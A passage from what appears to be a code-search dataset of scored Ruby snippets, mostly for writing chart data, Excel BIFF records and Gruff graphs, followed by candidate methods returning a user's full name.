it as well.\n reverseShiftedLine2 = ChartDirector::ArrayMath.new(dataY).mul(-1).add(1.5).result(\n )\n\n # Add step lines using the original and the reversed data\n layer2 = c.addStepLineLayer(shiftedLine2, ChartDirector::Transparent)\n layer2.addDataSet(reverseShiftedLine2, ChartDirector::Transparent)\n layer2.setXData(dataX)\n\n # Fill the region between the two step lines with green (00aa22) or transparent,\n # depending on whether the original or the reserve is higher.\n c.addInterLineLayer(layer2.getLine(0), layer2.getLine(1), 0x00aa22,\n ChartDirector::Transparent)\n\n # Adjust the plot area size, such that the bounding box (inclusive of axes) is 10\n # pixels from the left edge, 10 pixels below the title, 30 pixels from the right\n # edge, and 10 pixels above the bottom edge.\n c.packPlotArea(10, title.getHeight() + 10, c.getWidth() - 30, c.getHeight() - 10)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "526265ef033b74ed06d3fec273fa4feb", "score": "0.50062805", "text": "def fin!\n fin = DataFrame.new\n data = fin.create(:stream_id => @stream_id, :flags => DATA_FIN)\n @connection.send_data data.to_binary_s\n end", "title": "" }, { "docid": "891ccea23f1f3b5a9e3404d0f76a96eb", "score": "0.50055367", "text": "def write_to io\n header = [\n @file_type,\n @file_version,\n @language,\n self.size,\n HEADER_SIZE + (self.size) * DATA_ELEMENT_SIZE\n ].pack(\"A4 A4 I I I\")\n io.write(header)\n\n offsets = []\n offset = 0\n for i in 0...@size do\n entry = self[i]\n offsets[i] = offset\n offset += entry[:text].size\n end\n\n entries = []\n for i in 0...@size do\n entry = self[i]\n text, sound, sound_length = entry[:text], entry[:sound], entry[:sound_length]\n flags = 0\n flags |= 0x01 if text.size > 0\n flags |= 0x02 if sound.size > 0\n flags |= 0x04 if sound_length > 0.0\n\n ev_s = [\n flags,\n sound, #resref\n entry[:volume_variance],\n entry[:pitch_variance],\n offsets[i],\n text.size,\n sound_length\n ].pack(\"I a16 I I I I f\")\n\n io.write(ev_s)\n end\n\n for i in 0...@size do\n io.write(self[i][:text])\n end\n end", "title": "" }, { "docid": "808d5e13b104257aad09851be18ef2da", "score": "0.4999365", "text": "def graphme(title:, filename:, data:)\n g = Gruff::Bar.new(800) # we will want to size this properly for our word doc\n g.theme = {\n colors: ['green'],\n marker_color: '#dddddd',\n font_color: 'white',\n background_colors: 'black'\n }\n\n g.title = title\n g.marker_count = 6\n g.hide_legend = true\n g.data 'data', data\n\n g.write(filename)\nend", "title": "" }, { "docid": "b4fd2d2a78e3e4d8eff200731f88289c", "score": "0.4994603", "text": "def to_file( f )\n # NOTE: data element size is hard-coded to 2. See above NOTE.\n buf = [@source, Op::SOURCE_TYPES.index(@src_type), @name, @sym, \n @label, @domain, @x_axis, @y_axis, \n @data.length(), 2].pack(PFORMAT)\n f.write(buf)\n\n # NOTE: again, element is hard-coded to a signed short.\n buf = data.pack(\"s#{@data.length()}\")\n f.write(buf)\n end", "title": "" }, { "docid": "ed91aa0b4ab70efa5ea09860260eee82", "score": "0.4981486", "text": "def writer(record); end", "title": "" }, { "docid": "bcb0cceb5eaa40aa2ab9643e77a66d8a", "score": "0.4962116", "text": "def store_pieformat # :nodoc:\n record = 0x100B # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n percent = 0x0000 # Distance % from center.\n\n store_simple(record, length, percent)\n end", "title": "" }, { "docid": "523bd0ba3c260c1ab5cf82f1d1368957", "score": "0.49411035", "text": "def write(record)\n @fh.write(self.class.encode(record))\n end", "title": "" }, { "docid": "95a4b9aaf3669a67747be8e11825dcfc", "score": "0.4929095", "text": "def write_chartsheet(&block) # :nodoc:\n schema = 'http://schemas.openxmlformats.org/'\n xmlns = schema + 'spreadsheetml/2006/main'\n xmlns_r = schema + 'officeDocument/2006/relationships'\n\n attributes = [\n ['xmlns', xmlns],\n ['xmlns:r', xmlns_r]\n ]\n\n @writer.tag_elements('chartsheet', attributes, &block)\n end", "title": "" }, { "docid": "530cb8f1d3d5a4eaeb89f880345131de", "score": "0.4911435", "text": "def close # :nodoc:\n # Ignore any data that has been written so far since it is probably\n # from unwanted Worksheet method calls.\n @data = ''\n\n # TODO. Check for charts without a series?\n\n # Store the chart BOF.\n store_bof(0x0020)\n\n # Store the page header\n store_header\n\n # Store the page footer\n store_footer\n\n # Store the page horizontal centering\n store_hcenter\n\n # Store the page vertical centering\n store_vcenter\n\n # Store the left margin\n store_margin_left\n\n # Store the right margin\n store_margin_right\n\n # Store the top margin\n store_margin_top\n\n # Store the bottom margin\n store_margin_bottom\n\n # Store the page setup\n store_setup\n\n # Store the sheet password\n store_password\n\n # Start of Chart specific records.\n\n # Store the FBI font records.\n store_fbi(*@config[:font_numbers])\n store_fbi(*@config[:font_series])\n store_fbi(*@config[:font_title])\n store_fbi(*@config[:font_axes])\n\n # Ignore UNITS record.\n\n # Store the Chart sub-stream.\n store_chart_stream\n\n # Append the sheet dimensions\n store_dimensions\n\n # TODO add SINDEX and NUMBER records.\n\n store_window2 unless @embedded\n\n store_eof\n end", "title": "" }, { "docid": "d0641bf7a404bda07118e692fd9ae23d", "score": "0.49106672", "text": "def showSeriesPlot\n image=Magick::Image.read(Rails.root.to_s+\"/public/series.png\")[0]\n imageblob=image.to_blob\n send_data imageblob, :type => 'image/png',\n :disposition => 'inline'\n end", "title": "" }, { "docid": "f06b0734689f8775282ba27f7053f7e9", "score": "0.4909751", "text": "def store_axis_values_stream # :nodoc:\n store_axis(1)\n\n store_begin\n store_valuerange\n store_tick\n store_axislineformat\n store_lineformat(0x00000000, 0x0000, 0xFFFF, 0x0009, 0x004D)\n store_end\n end", "title": "" }, { "docid": "b26226dcfb75c8dff368e90c293695c9", "score": "0.49039057", "text": "def print_chart\n g = Gruff::Line.new\n g.title = name\n results.each do |result|\n g.dataxy(result.name, result.data.map { |solution| [solution.value, solution.elapsed_time] })\n end\n\n g.write(output_file_name)\n end", "title": "" }, { "docid": "c7aed6e605cca69917defed460921fa7", "score": "0.48907143", "text": "def store_bof(type = 0x0005)\n record = 0x0809 # Record identifier\n length = 0x0010 # Number of bytes to follow\n\n # According to the SDK $build and $year should be set to zero.\n # However, this throws a warning in Excel 5. So, use these\n # magic numbers.\n build = 0x0DBB\n year = 0x07CC\n\n bfh = 0x00000041\n sfo = 0x00000006\n\n header = [record,length].pack(\"vv\")\n data = [BIFF_Version,type,build,year,bfh,sfo].pack(\"vvvvVV\")\n\n prepend(header, data)\n end", "title": "" }, { "docid": "a3ac0d05123c00a75805cbe20624b61f", "score": "0.48820683", "text": "def write_data(opts)\n influxdb = InfluxDB::Client.new opts[:db],\n host: opts[:host], \n port: opts[:port],\n username: opts[:username],\n password: opts[:password]\n\n # Enumerator that emits a sine wave\n values = (0..360).to_a.map {|i| Math.send(:sin, i / 10.0) * 10 }\n \n loop do\n 360.times do |c|\n data = {\n values: { value: values[c] },\n tags: { wave: 'sine' } # tags are optional\n }\n \n influxdb.write_point(opts[:series], data)\n \n sleep 1\n end\n end\nend", "title": "" }, { "docid": "621e792d0a8f1c893c27e84bd6467663", "score": "0.48744655", "text": "def store_series_stream(params) # :nodoc:\n name_type = _formula_type_from_param(2, 1, params, :name_formula)\n value_type = _formula_type_from_param(2, 0, params, :value_formula)\n category_type = _formula_type_from_param(2, 0, params, :category_formula)\n\n store_series(params[:value_count], params[:category_count])\n\n store_begin\n\n # Store the Series name AI record.\n store_ai(0, name_type, params[:name_formula])\n unless params[:name].nil?\n store_seriestext(params[:name], params[:name_encoding])\n end\n\n store_ai(1, value_type, params[:value_formula])\n store_ai(2, category_type, params[:category_formula])\n store_ai(3, 1, '' )\n\n store_dataformat_stream(params[:index])\n store_sertocrt\n store_end\n end", "title": "" }, { "docid": "16fa4079187b1fce4bfafc31b435fca5", "score": "0.48716435", "text": "def store_series(category_count, value_count) # :nodoc:\n record = 0x1003 # Record identifier.\n length = 0x000C # Number of bytes to follow.\n category_type = 0x0001 # Type: category.\n value_type = 0x0001 # Type: value.\n # category_count # Num of categories.\n # value_count # Num of values.\n bubble_type = 0x0001 # Type: bubble.\n bubble_count = 0x0000 # Num of bubble values.\n\n store_simple(record, length, category_type, value_type,\n category_count, value_count, bubble_type, bubble_count)\n end", "title": "" }, { "docid": "3e5adbd036e2c42d4a0f176ccbc43a94", "score": "0.48628572", "text": "def store_axislineformat # :nodoc:\n record = 0x1021 # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n line_format = 0x0001 # Axis line format.\n\n store_simple(record, length, line_format)\n end", "title": "" }, { "docid": "01190154b3faee689813f6e2a9a90f65", "score": "0.48623446", "text": "def test_store_series\n caption = \" \\tChart: _store_series()\"\n expected = %w(\n 03 10 0C 00 01 00 01 00 08 00 08 00 01 00 00 00\n ).join(' ')\n got = unpack_record(@chart.__send__(\"store_series\", 8, 8))\n assert_equal(expected, got, caption)\n end", "title": "" }, { "docid": "951c602a026845332c330a1c3e8dd5f9", "score": "0.48556024", "text": "def to_biff\n @record_data\n end", "title": "" }, { "docid": "97ef02d7e0c604fb49aeb082e49ce95e", "score": "0.48407578", "text": "def line_graph_report\n g = Gruff::Line.new(400)\n g.title = \"Scores for Bart\"\n g.font = File.expand_path('artwork/fonts/Vera.ttf', RAILS_ROOT)\n g.labels = { 0 => 'Mon', 2 => 'Wed', 4 => 'Fri', 6 => 'Sun' }\n\n # Modify this to represent your actual data models\n @data = Data.find(:all)\n @data.each do |d|\n # Build data into array with something like\n # built_array = d.collect { |e| e.some_number_field.to_f }\n g.data(some_label, built_array)\n end\n\n send_data(g.to_blob, \n :disposition => 'inline', \n :type => 'image/png', \n :filename => \"bart_scores.png\")\nend", "title": "" }, { "docid": "16dd4ed9016a7d074e4d19ea1510e1e5", "score": "0.48303077", "text": "def test_store_dataformat\n caption = \" \\tChart: _store_dataformat()\"\n expected = %w(\n 06 10 08 00 FF FF 00 00 00 00 00 00\n ).join(' ')\n got = unpack_record(@chart.__send__(\"store_dataformat\", 0, 0, 0xFFFF))\n assert_equal(expected, got, caption)\n\n expected = %w(\n 06 10 08 00 00 00 00 00 FD FF 00 00\n ).join(' ')\n got = unpack_record(@chart.__send__(\"store_dataformat\", 0, 0xFFFD, 0))\n assert_equal(expected, got, caption)\n end", "title": "" }, { "docid": "ed02c8bc3fd3defc4eebefa84113cb46", "score": "0.48213473", "text": "def add_barchart(title, table, start=[3, 0], size=[5, 14])\n labels = \"#{get_reference(table.second.cells.first)}:#{get_reference(table.last.cells.first)}\"\n data = \"#{get_reference(table.second.cells.second)}:#{get_reference(table.last.cells.last)}\"\n\n @worksheet.add_chart(Axlsx::Bar3DChart, start_at: start, end_at: [start[0] + size[0], start[1] + size[1]], title: title) do |chart|\n chart.add_series data: @worksheet[data], labels: @worksheet[labels]\n chart.valAxis.label_rotation = -45\n chart.catAxis.label_rotation = 45\n chart.catAxis.tick_lbl_pos = :none\n end\n end", "title": "" }, { "docid": "d7e089eaff0a002143c12aa6cc993137", "score": "0.48178363", "text": "def write_binary(filename, spectra_iterator, config)\n config = DEFAULTS.merge(config)\n raise \":data_structure must be :continuous or :processed\" unless [:processed, :continuous].include?(config[:data_structure])\n (mz_dtype, mz_prec, int_dtype, int_prec) = config.values_at(:mz_data_type, :mz_precision, :intensity_data_type, :intensity_precision)\n mz_prec_in_bytes = mz_prec / 8\n int_prec_in_bytes = int_prec / 8\n File.open(filename, 'wb') do |out|\n out.print [config[:uuid]].pack(\"H*\")\n\n if config[:data_structure] == :continuous\n # write the first m/z and get its info\n mzs = spectra_iterator.peek.mzs\n mz_info = Mspire::Imzml::DataArrayInfo.new mzs.size, out.pos, mzs.size * mz_prec_in_bytes\n write_data_array(out, mzs, mz_dtype, mz_prec)\n end\n spectra_iterator.map do |spec|\n\n if config[:data_structure] == :processed\n mzs = spec.mzs\n mz_info = Mspire::Imzml::DataArrayInfo.new mzs.size, out.pos, mzs.size * mz_prec_in_bytes\n write_data_array(out, spec.mzs, mz_dtype, mz_prec)\n end\n\n ints = spec.intensities\n int_info = Mspire::Imzml::DataArrayInfo.new ints.size, out.pos, ints.size * int_prec_in_bytes\n write_data_array(out, spec.intensities, int_dtype, int_prec)\n [mz_info, int_info]\n end\n end\n end", "title": "" }, { "docid": "e5e0478fb8a7bf39b237e54ce1fdd83b", "score": "0.48095173", "text": "def waveform channel=\"0\"\r\n wfm_info_p = FFI::MemoryPointer.new :int32, 2 * Fetch::WfmInfoSize\r\n buffer = FFI::MemoryPointer.new :char, 2 * @points\r\n self[:ALLOW_MORE_RECORDS_THAN_MEMORY,:bool] = 1\r\n self[:HORZ_NUM_RECORDS,:int] = 1 \r\n self[:FETCH_NUM_RECORDS,:int] = 1\r\n self.acquire\r\n self[:FETCH_RECORD_NUMBER, :int] = 0\r\n check API::niScope_FetchBinary8 @visa_id, channel, 10.0, @points, buffer, wfm_info_p\r\n self.stop\r\n buffer.get_array_of_char 0, 2 * @points\r\n end", "title": "" }, { "docid": "a1ac2ee60cc46c95234457c79c39bf19", "score": "0.48076594", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_date_time_value(\"currentBegan\", @current_began)\n writer.write_object_value(\"error\", @error)\n writer.write_date_time_value(\"nextAttempt\", @next_attempt)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_enum_value(\"reason\", @reason)\n writer.write_date_time_value(\"seriesBegan\", @series_began)\n writer.write_object_value(\"seriesCount\", @series_count)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "d2ed5bb5602f6a35fc9b1de774e6c5dc", "score": "0.48057234", "text": "def write_chart_type\n # Write the c:doughnutChart element.\n write_doughnut_chart\n end", "title": "" }, { "docid": "a52bc12154d18a6c6dd2147c529e5e45", "score": "0.479084", "text": "def write_record(rec)\n\t\t\t\t\t# gets can handle a lot of different splits, but more complicated\n\t\t\t\t\t# cases will have to by overriding this\n\t\t\t\t\treturn hndl.write(encode_record(rec))\n\t\t\t\tend", "title": "" }, { "docid": "445f6a30f550619aca7fe2dc0ab1e31a", "score": "0.47890344", "text": "def write record\n datum = GenericData::Record.new(@schema)\n record.each do |k,v|\n datum.put(k.to_s, v)\n end\n @file_writer.append(datum)\n end", "title": "" }, { "docid": "14fa21e83679a1039ab12312eacf78b1", "score": "0.47821274", "text": "def write_pie_chart\n @writer.tag_elements('c:pieChart') do\n # Write the c:varyColors element.\n write_vary_colors\n # Write the series elements.\n @series.each { |s| write_series(s) }\n # Write the c:firstSliceAng element.\n write_first_slice_ang\n end\n end", "title": "" }, { "docid": "cc714b01c2bf01e95f618c4c7e43bd3c", "score": "0.47741973", "text": "def write(dat)\n set_default_style @io_style\n out = dat.to_s\n self << out\n out.size\n end", "title": "" }, { "docid": "a8aaffee385739eee2c45439157ca0bf", "score": "0.47575307", "text": "def store_serparent(series) # :nodoc:\n record = 0x104A # Record identifier.\n length = 0x0002 # Number of bytes to follow.\n # series # Series parent.\n\n store_simple(record, length, series)\n end", "title": "" }, { "docid": "7831beccb2b092c95d65d9fe1aff9c55", "score": "0.47558463", "text": "def store_datablock(data)\n name = \"$DATA#{@current_datablock += 1}\"\n stream_puts \"#{name} << EOD\"\n stream_puts data\n stream_puts 'EOD'\n name\n end", "title": "" }, { "docid": "c5895b165b84a342841c9d9dc209d848", "score": "0.47527707", "text": "def save_data(path=@path)\n File.open( path+\".dat\", \"w+\") do |file|\n @todraw.callbacks.each do |block| \n file.puts format_data( block.call ).tap{|ary| ary[-1] = ''}\n end\n end\n self\n end", "title": "" }, { "docid": "1b690d21ff27245c3fa376e968c30f72", "score": "0.47408378", "text": "def write(datum)\n writer.write(datum)\n end", "title": "" }, { "docid": "f8feb42a0b93d829558af9db28ed689b", "score": "0.47296736", "text": "def store_legend_stream # :nodoc:\n store_legend(*@config[:legend])\n\n store_begin\n store_pos(*@config[:legend_pos])\n store_legend_text_stream\n store_end\n end", "title": "" }, { "docid": "5f1d4fcfbc321313c5b6f3629957d644", "score": "0.47147697", "text": "def add_chart_ext(filename, chartname, name_utf16be = false)\n type = 'extarnal'\n\n name, name_utf16be = check_sheetname(chartname, name_utf16be)\n\n init_data = [\n filename,\n name,\n name_utf16be\n ]\n\n chart = Writeexcel::Chart.factory(self, type, init_data)\n @worksheets << chart # Store ref for iterator\n chart\n end", "title": "" }, { "docid": "53f98974a280adfa7ef2f075270bd2c4", "score": "0.47127333", "text": "def to_file( f )\n num_segments = @signals.first[1].num_blocks\n num_elements = @signals.first[1].signal.block_size\n elem_size = @signals.first[1].signal.elem_size\n ts = @signals.first[1].timestamp\n buf = [MAGIC, VERSION, ts.to_i, @pairs.length, @signals.length,\n num_segments, num_elements, elem_size\n ].pack(PFORMAT)\n f.write(buf)\n\n @signals.values.each { |s| s.to_file(f) }\n @pairs.each { |p| p.to_file(f) }\n end", "title": "" }, { "docid": "dbec5327ac1a9c4817b88bfacc56be7c", "score": "0.4703955", "text": "def store_plotgrowth # :nodoc:\n record = 0x1064 # Record identifier.\n length = 0x0008 # Number of bytes to follow.\n dx_plot = 0x00010000 # Horz growth for font scale.\n dy_plot = 0x00010000 # Vert growth for font scale.\n\n header = [record, length].pack('vv')\n data = [dx_plot].pack('V')\n data += [dy_plot].pack('V')\n\n append(header, data)\n end", "title": "" }, { "docid": "c4a45e6c5a5c8e73d5571c39fd16e6f2", "score": "0.47039032", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"compromisedRate\", @compromised_rate)\n writer.write_collection_of_object_values(\"events\", @events)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "771c323be21ee954c562c7b10150be91", "score": "0.4699939", "text": "def fontRecord(\n height, options, colour_index, weight, escapement,\n underline, family, charset,\n name)\n\n get_biff_data( 0x0031, [ height, options, colour_index, weight, escapement,\n underline, family, charset, 0x00,\n upack1(name)].pack('v5C4a*') )\n end", "title": "" }, { "docid": "1380536d1c951e7418fb960868ed4d4e", "score": "0.46957633", "text": "def write_values(data,data_description,series)\n\n\t\tdata_description = self.validate_data_description(\"write_values\",data_description)\n\t\tself.validate_data(\"write_values\",data)\n\t\tseries = [series] if ( !series.is_a?(Array))\n\t\tid = 0\n\t\tcolor_id =0\n\t\tseries.each do |col_name|\n\t\t\tdata_description[\"description\"].each do |key_i,value_i|\n\t\t\t\tif ( key_i == col_name )\n\t\t\t\t\tcolor_id = id\n\t\t\t\t\tid = id+1\n\t\t\t\tend\n\t\t\tend\n\t\t\txpos = @g_area_x1 + @g_area_x_offset\n\t\t\txlast = -1\n\t\t\tdata.each do |key|\n\t\t\t\tif ((!key[col_name].nil?) && (key[col_name].is_a?(Numeric)))\n\t\t\t\t\tvalue = key[col_name]\n\t\t\t\t\typos = @g_area_y2 - ((value-@vmin) * @division_ratio)\n\t\t\t\t\tpositions = image_ftb_box(@font_size,0,@font_name,value.to_s)\n\t\t\t\t\twidth = positions[2] - positions[6]\n\t\t\t\t\tx_offset = xpos - (width/2)\n\t\t\t\t\theight = positions[3] - positions[7]\n\t\t\t\t\ty_offset = ypos - 4\n\n\t\t\t\t\tc_text_color = allocate_color(@picture,@palette[color_id][\"r\"],@palette[color_id][\"g\"],@palette[color_id][\"b\"]);\n\t\t\t\t\timage_ttf_text(@picture,@font_size,0,x_offset,y_offset,c_text_color,@font_name,value.to_s)\n\t\t\t\tend\n\t\t\t\txpos = xpos + @division_width\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d268021fc8c98109cbed2b85568fa780", "score": "0.4693656", "text": "def write_track(track)\n\t\t\tthis_track = \"4D54726B#{calculate_num_bytes(track)}\" + @track_data[track]\n\t\t\tthis_track\n\t\tend", "title": "" }, { "docid": "b48daf14691b85f398833e65bb2a6259", "score": "0.4692746", "text": "def store_marker_dataformat_stream # :nodoc:\n\n end", "title": "" }, { "docid": "6a6d6a9c7b95c702f20887d0628033e9", "score": "0.4692414", "text": "def write_full_data(album_id, format, data)\n path = full_path(album_id, format)\n File.open(path, \"w\") do |f|\n f.syswrite data\n end\n return path\n end", "title": "" }, { "docid": "47a5aca08731a123b22f48e348aae9ef", "score": "0.46836326", "text": "def biff8BOFRecord(rec_type)\n=begin\n version = 0x0600\n build = 0x0DBB\n year = 0x07CC\n file_hist_flags = 0x00L\n ver_can_read = 0x06L\n [ version, rec_type, build, year, file_hist_flags, ver_can_read].pack('<4H2I')\n=end\n get_biff_data( 0x0809, [0x0600, rec_type, 0x0DBB, 0x07CC, 0x00, 0x06].pack('v4V2') )\n end", "title": "" }, { "docid": "c7a0984f114c6d1a25bc24676b149e2e", "score": "0.4683306", "text": "def write ;@graphs.each{|gr| gr.Write}; end", "title": "" }, { "docid": "c7a0984f114c6d1a25bc24676b149e2e", "score": "0.4683306", "text": "def write ;@graphs.each{|gr| gr.Write}; end", "title": "" }, { "docid": "741940480ec8c10937ad450847c4680d", "score": "0.46827355", "text": "def to_bol\n\t\t\t@data[line.start ... @index]\n\t\tend", "title": "" }, { "docid": "11e2eb736b2d799b2e19ff4ac2b724a7", "score": "0.4682248", "text": "def write_ext_list_data_bars\n # Write the ext element.\n write_ext('{78C0D931-6437-407d-A8EE-F0AAD7539E65}') do\n @writer.tag_elements('x14:conditionalFormattings') do\n # Write each of the Excel 2010 conditional formatting data bar elements.\n @data_bars_2010.each do |data_bar|\n # Write the x14:conditionalFormatting element.\n write_conditional_formatting_2010(data_bar)\n end\n end\n end\n end", "title": "" }, { "docid": "7384c02546e10b2bfc0e34284fdceda3", "score": "0.46811026", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"cumulative\", @cumulative)\n writer.write_object_value(\"numberPop\", @number_pop)\n writer.write_object_value(\"numberSample\", @number_sample)\n writer.write_object_value(\"populationS\", @population_s)\n writer.write_object_value(\"sampleS\", @sample_s)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "46a96c8b6ffe273b69143ec8d2dbbbe1", "score": "0.46803597", "text": "def write_chart_type(params)\n # Write the c:radarChart element.\n write_radar_chart(params)\n end", "title": "" }, { "docid": "36d815e21f83a8eccb8d336592279571", "score": "0.46664903", "text": "def writer(records); end", "title": "" }, { "docid": "c2bf55c807ba5645e8e727650db8eb5f", "score": "0.46581718", "text": "def write(io)\n io << @soa\n @records.each do |r|\n io << r\n end\n io << \"\\n\"\n end", "title": "" }, { "docid": "c8e25b73713971e4e487e374cfcc7443", "score": "0.4657051", "text": "def store_fbi(index, height, width_basis, height_basis, scale_basis) # :nodoc:\n record = 0x1060 # Record identifier.\n length = 0x000A # Number of bytes to follow.\n # index # Font index.\n height = height * 20 # Default font height in twips.\n # width_basis # Width basis, in twips.\n # height_basis # Height basis, in twips.\n # scale_basis # Scale by chart area or plot area.\n\n store_simple(record, length, width_basis, height_basis, height, scale_basis, index)\n end", "title": "" }, { "docid": "9670c0cb2b2b0de02181396dcd9fc878", "score": "0.46546686", "text": "def biff_record\n record = 0x007D # Record identifier\n length = 0x000B # Number of bytes to follow\n\n coldx = (pixels * 256 / 7).to_i # Col width in internal units\n reserved = 0x00 # Reserved\n\n header = [record, length].pack(\"vv\")\n data = [@firstcol, @lastcol, coldx,\n ixfe, grbit, reserved].pack(\"vvvvvC\")\n [header, data]\n end", "title": "" }, { "docid": "a8e920f5be129d4c541e321d64696b5d", "score": "0.46516252", "text": "def revision_count_chart\n revision_counts = SiRevision.count :id, :group => :si_component_id\n map = {}\n revision_counts.each do |list|\n map[list.first] = list.last\n end\n components = SiComponent.find(:all, :order => 'name asc')\n\n g = Gruff::SideStackedBar.new('800x1600')\n g.title = \"Number of revisions for components\"\n g.font = File.expand_path('artwork/fonts/Vera.ttf', RAILS_ROOT)\n g.labels = {}\n i = 0\n components.each do |component|\n g.labels[i] = component.name\n i += 1\n end\n g.data(:RevisionCount, components.collect do |component|\n map[component.id]\n end)\n\n\n g.theme = {\n :colors => %w(#efd250 #666699 #e5573f #9595e2),\n :marker_color => 'black',\n :background_colors => %w(white white)\n }\n \n g.hide_legend = true\n \n\n send_data(g.to_blob, \n :disposition => 'inline', \n :type => 'image/png', \n :filename => \"bart_scores.png\")\n end", "title": "" }, { "docid": "d9500de4200cd9c792a7bb1e6aaa9f4c", "score": "0.46449506", "text": "def save(file, format=:txt)\n\t\t\traise EngineError, \"Empty dataset.\" if @dataset.blank?\n\t\t\tem = Emitter.new(format)\n\t\t\thook :before_save, :file => file, :format => format\n\t\t\tFile.open(file, 'w+')\tdo |f|\n\t\t\t\tf.write em.render @dataset\n\t\t\tend\n\t\t\thook :after_save, :file => file\n\t\tend", "title": "" }, { "docid": "3b49aaf790a4cdb49641119858c76884", "score": "0.4644914", "text": "def gen_chart_data( series )\n @xml.row do\n series.each do |row| \n if row.nil?\n @xml.null \n elsif row.instance_of? Hash\n value = row.delete( :value )\n gen_row_data( value, row )\n else\n gen_row_data( row )\n end\n end\n end \n end", "title": "" }, { "docid": "4a8b58f4a3cdddd6b1b965ef911457ce", "score": "0.46396723", "text": "def write_binary_frame(buffer)\n @j_del.writeBinaryFrame(buffer._to_java_buffer)\n end", "title": "" }, { "docid": "3c55b8f965b8b075102fb89f8815fd71", "score": "0.46309882", "text": "def write_data_array(fh, values, dtype=:float, precision=32)\n pack_code = \n case dtype\n when :float\n precision == 64 ? 'E*' : 'e*'\n when :int\n # using signed!!!! (should these be unsigned??? NOT DOCUMENTED in\n # imzml resources anywhere!)\n case precision\n when 8 ; 'c<*'\n when 16 ; 's<*'\n when 32 ; 'l<*'\n when 64 ; 'q<*'\n else\n raise 'precision must be 8, 16, 32, or 64 for dtype==:int'\n end\n else\n raise 'dtype must be :int or :float!'\n end\n fh.print values.pack(pack_code)\n end", "title": "" }, { "docid": "6d12e84a09f1a74c3d7f5a41e16b7faa", "score": "0.4630137", "text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"album\", @album)\n writer.write_number_value(\"childCount\", @child_count)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_additional_data(@additional_data)\n end", "title": "" }, { "docid": "2ba580a9ed13be840f989b06bf7040ac", "score": "0.46299884", "text": "def write_binary_frame(buffer)\n @j_del.writeBinaryFrame(buffer._to_java_buffer)\n self\n end", "title": "" }, { "docid": "291dca077001bbcf7573ecff8166503a", "score": "0.46266046", "text": "def render_data(params) #:nodoc:\n @render_series = data.size if @render_series.nil?\n raw = data && data.first.is_a?(Array) ? data : [data]\n max = self.max || raw.collect { |s| s.max }.max\n\n sets = raw.collect do |set|\n set.collect { |n| GChart.encode(:extended, n, max) }.join\n end\n params[\"chd\"] = \"e#{@render_series}:#{sets.join(\",\")}\"\n end", "title": "" } ]
cbe2ffe63b2a314fe906aebf705fe1af
Returns the full name of a user
[ { "docid": "6c4cd2697a57b8d7e3b3752df922df71", "score": "0.0", "text": "def full_name\n \"#{self.first_name} #{self.last_name}\"\n end", "title": "" } ]
[ { "docid": "0bfe8fd1b47e95215f554ef52c06d7ca", "score": "0.8668673", "text": "def user_full_name\n if user\n user.first_name + ' ' + user.last_name\n else\n 'Anonymous'\n end\n end", "title": "" }, { "docid": "e721494723e4739e9accf8af3ac4d5f2", "score": "0.8577364", "text": "def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.empty? ? \"John Doe\" : name.squish\n end", "title": "" }, { "docid": "5150492d1291fe89484fdc88388ed7f5", "score": "0.8563737", "text": "def full_name\n name = `finger $USER 2> /dev/null | grep Login | colrm 1 46`.chomp\n name.present? ? name.squish : \"John Doe\"\n end", "title": "" }, { "docid": "4726d93f37134fca68da2488bdc5cb45", "score": "0.8359994", "text": "def user_full_name\n user ? user.full_name : \"Anonymous\"\n end", "title": "" }, { "docid": "5bf4e595d95559559156a686eacdc831", "score": "0.8241586", "text": "def full_name(user)\n user.first_name + ' ' + user.last_name\n end", "title": "" }, { "docid": "26e40b61a3b8e6fd124aa18839b09bd4", "score": "0.81936747", "text": "def user_full_name\n @user[\"name\"]\n end", "title": "" }, { "docid": "1e1ea7049c3cc3227dd14ee1d5b48b4a", "score": "0.81864995", "text": "def user_name\n return User.find(user_id).name\n end", "title": "" }, { "docid": "1e1ea7049c3cc3227dd14ee1d5b48b4a", "score": "0.81864995", "text": "def user_name\n return User.find(user_id).name\n end", "title": "" }, { "docid": "b49e7a4f59fec38f7dbb2ecff23bb7cf", "score": "0.81638944", "text": "def full_user_name\n formatedName=first_name[0].upcase+first_name[1,first_name.size].downcase+\" \"+last_name[0].upcase+last_name[1,last_name.size].downcase\n return formatedName.strip if (first_name || last_name)\n return \"Anonymous\"\n end", "title": "" }, { "docid": "69823cbfdba55c23b4e75061b870857a", "score": "0.8162148", "text": "def short_user_name\n user.first_name\n end", "title": "" }, { "docid": "107d3626bd81e18f7f20011b16863084", "score": "0.8125156", "text": "def full_name\n if user_data\n \"#{user_data['first_name']&.downcase&.capitalize} #{user_data['last_name']&.downcase&.capitalize}\"\n end\n end", "title": "" }, { "docid": "e608d62ed30769a5b929fe977d94f0d6", "score": "0.8115921", "text": "def get_full_name(user_id)\n if user_id\n u = User.find(user_id)\n return u.firstname + \" \" + u.lastname\n else\n return \"Unknown\"\n end\n end", "title": "" }, { "docid": "0d201eed40825a46e9c5856ca5d44ee9", "score": "0.8091406", "text": "def simple_username\n return user.firstname + ' ' + user.lastname.first + '.' if !user.nil?\n name\n end", "title": "" }, { "docid": "7ca0f8ef52b74bf6de4b0aa5141ed65d", "score": "0.8084895", "text": "def get_user_name(user_id)\n User.find(user_id).name rescue nil\n end", "title": "" }, { "docid": "99931fdf0c335a741d0cd6c3f2a7323c", "score": "0.8081713", "text": "def proper_name # method to get the full name of user\n first_name + \" \" + last_name\n end", "title": "" }, { "docid": 